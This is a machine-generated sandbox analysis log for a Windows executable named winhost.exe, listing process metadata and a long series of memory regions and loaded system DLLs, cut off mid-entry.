# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Jan 8 2019 16:19:15 # Log Creation Date: 19.01.2019 11:52:35.611 Process: id = "1" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe" page_root = "0x4e118000" os_pid = "0x960" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 7 start_va = 0x400000 end_va = 0x8fbfff entry_point = 0x400000 region_type = mapped_file name = "winhost.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe") Region: id = 8 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 9 start_va = 0x77a40000 end_va = 0x77bbffff entry_point = 0x77a40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 10 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 11 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 12 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 13 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 14 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 15 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 16 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 149 start_va = 0x2d0000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 150 start_va = 0x753d0000 end_va = 0x753d7fff entry_point = 0x753d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 151 start_va = 0x753e0000 end_va = 0x7543bfff entry_point = 0x753e0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 152 start_va = 0x75440000 end_va = 0x7547efff entry_point = 0x75440000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 153 start_va = 0xa30000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 154 start_va = 0x773b0000 end_va = 0x774bffff entry_point = 0x773b0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 155 start_va = 0x775f0000 end_va = 0x77635fff entry_point = 0x775f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 156 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x0 region_type = private name = "private_0x0000000077640000" filename = "" Region: id = 157 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x0 region_type = private name = "private_0x0000000077740000" filename = "" Region: id = 158 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 159 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 160 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 161 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 162 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 163 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 164 start_va = 0x771d0000 end_va = 0x772cffff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 165 start_va = 0x75a80000 end_va = 0x75b0ffff entry_point = 0x75a80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 166 start_va = 0x75710000 end_va = 0x75719fff entry_point = 0x75710000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 167 start_va = 0x77550000 end_va = 0x775ecfff entry_point = 0x77550000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 168 start_va = 0x75660000 end_va = 0x7570bfff entry_point = 0x75660000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 169 start_va = 0x76f90000 end_va = 0x7702ffff entry_point = 0x76f90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 170 start_va = 0x75a60000 end_va = 0x75a78fff entry_point = 0x75a60000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 171 start_va = 0x75b10000 end_va = 0x75bfffff entry_point = 0x75b10000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 172 start_va = 0x755a0000 end_va = 0x755fffff entry_point = 0x755a0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 173 start_va = 0x75590000 end_va = 0x7559bfff entry_point = 0x75590000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 174 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 175 start_va = 0x220000 end_va = 0x23dfff entry_point = 0x220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 176 start_va = 0xb30000 end_va = 0xcb7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 177 start_va = 0x220000 end_va = 0x23dfff entry_point = 0x220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 178 start_va = 0x76c00000 end_va = 0x76c5ffff entry_point = 0x76c00000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 179 start_va = 0x76b30000 end_va = 0x76bfbfff entry_point = 0x76b30000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 180 start_va = 0xcc0000 end_va = 0xe40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 181 start_va = 0xe50000 end_va = 0x224ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e50000" filename = "" Region: id = 182 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 183 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 184 start_va = 0x752e0000 end_va = 0x75311fff entry_point = 0x752e0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 185 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 186 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 187 start_va = 0x2250000 end_va = 0x265ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002250000" filename = "" Region: id = 188 start_va = 0x2660000 end_va = 0x2a6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002660000" filename = "" Region: id = 189 start_va = 0x260000 end_va = 0x26dfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 190 start_va = 0x250000 end_va = 0x25dfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 191 start_va = 0x250000 end_va = 0x25dfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 192 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 193 start_va = 0x2250000 end_va = 0x251efff entry_point = 0x2250000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 194 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 195 start_va = 0x774c0000 end_va = 0x7754efff entry_point = 0x774c0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 196 start_va = 0x76e30000 end_va = 0x76f8bfff entry_point = 0x76e30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 197 start_va = 0x75480000 end_va = 0x75488fff entry_point = 0x75480000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 198 start_va = 0x75250000 end_va = 0x752d3fff entry_point = 0x75250000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 199 start_va = 0x2520000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 200 start_va = 0x759e0000 end_va = 0x75a5afff entry_point = 0x759e0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 201 start_va = 0x77350000 end_va = 0x773a6fff entry_point = 0x77350000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 202 start_va = 0x75cc0000 end_va = 0x76909fff entry_point = 0x75cc0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 203 start_va = 0x2690000 end_va = 0x2880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002690000" filename = "" Region: id = 204 start_va = 0x2890000 end_va = 0x2a80fff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 205 start_va = 0x260000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 206 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 207 start_va = 0x2b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 208 start_va = 0x350000 end_va = 0x3befff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 209 start_va = 0x350000 end_va = 0x371fff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 210 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 211 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 212 start_va = 0x380000 end_va = 0x381fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 213 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 214 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 215 start_va = 0x3b0000 end_va = 0x3b0fff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 216 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 217 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 218 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 219 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 220 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 221 start_va = 0x900000 end_va = 0x900fff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 222 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 223 start_va = 0x910000 end_va = 0x910fff entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 224 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 225 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 226 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 227 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 228 start_va = 0x920000 end_va = 0x920fff entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 229 start_va = 0x930000 end_va = 0x930fff entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 230 start_va = 0x940000 end_va = 0x940fff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 231 start_va = 0x950000 end_va = 0x950fff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 232 start_va = 0x960000 end_va = 0x960fff entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 233 start_va = 0x970000 end_va = 0x970fff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 234 start_va = 0x980000 end_va = 0x981fff entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 235 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 236 start_va = 0x9a0000 end_va = 0x9a0fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 237 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 238 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 239 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 240 start_va = 0x9b0000 end_va = 0x9b0fff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 241 start_va = 0x9c0000 end_va = 0x9c0fff entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 242 start_va = 0x9d0000 end_va = 0x9d0fff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 243 start_va = 0x9e0000 end_va = 0x9e0fff entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 244 start_va = 0x9f0000 end_va = 0x9f0fff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 245 start_va = 0xa00000 end_va = 0xa00fff entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 246 start_va = 0xa10000 end_va = 0xa10fff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 247 start_va = 0xa20000 end_va = 0xa20fff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 248 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 249 start_va = 0x2680000 end_va = 0x268ffff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 250 start_va = 0x2530000 end_va = 0x2530fff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 251 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 252 start_va = 0x2550000 end_va = 0x2550fff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 253 start_va = 0x2560000 end_va = 0x2560fff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 254 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 255 start_va = 0x2580000 end_va = 0x2580fff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 256 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 257 start_va = 0x25a0000 end_va = 0x25a0fff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 258 start_va = 0x25b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 259 start_va = 0x25c0000 end_va = 0x25c0fff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 260 start_va = 0x25d0000 end_va = 0x25d0fff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 261 start_va = 0x25e0000 end_va = 0x25e0fff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 262 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 263 start_va = 0x2600000 end_va = 0x2600fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 264 start_va = 0x2610000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 265 start_va = 0x2620000 end_va = 0x2620fff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 266 start_va = 0x2630000 end_va = 0x2630fff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 267 start_va = 0x2640000 end_va = 0x2640fff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 268 start_va = 0x2650000 end_va = 0x2650fff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 269 start_va = 0x2660000 end_va = 0x2660fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 270 start_va = 0x2670000 end_va = 0x2671fff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 271 start_va = 0x2690000 end_va = 0x2690fff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 272 start_va = 0x26a0000 end_va = 0x26a0fff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 273 start_va = 0x26b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 274 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 275 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 276 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 277 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 278 start_va = 0x3a0000 end_va = 0x3a0fff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 279 start_va = 0x26d0000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 280 start_va = 0x75340000 end_va = 0x753bffff entry_point = 0x75340000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 281 start_va = 0x27d0000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 282 start_va = 0x2870000 end_va = 0x294efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002870000" filename = "" Region: id = 283 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 284 start_va = 0x75320000 end_va = 0x75332fff entry_point = 0x75320000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 285 start_va = 0x2950000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 286 start_va = 0x2b80000 end_va = 0x34affff entry_point = 0x2b80000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 287 start_va = 0x270000 end_va = 0x276fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 288 start_va = 0x280000 end_va = 0x281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 289 start_va = 0x290000 end_va = 0x295fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 290 start_va = 0x27d0000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 291 start_va = 0x2830000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 292 start_va = 0x2950000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 293 start_va = 0x2b40000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 294 start_va = 0x34b0000 end_va = 0x38a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034b0000" filename = "" Region: id = 295 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 296 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 297 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 298 start_va = 0x38b0000 end_va = 0xb8b0fff entry_point = 0x0 region_type = private name = "private_0x00000000038b0000" filename = "" Region: id = 299 start_va = 0x380000 end_va = 0x390fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 300 start_va = 0x3a0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 301 start_va = 0x2810000 end_va = 0x2816fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002810000" filename = "" Region: id = 302 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 303 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 304 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 305 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 306 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 307 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 308 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 309 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 310 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 311 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 312 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 313 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 314 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 315 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 316 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 317 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 318 start_va = 0x3a0000 end_va = 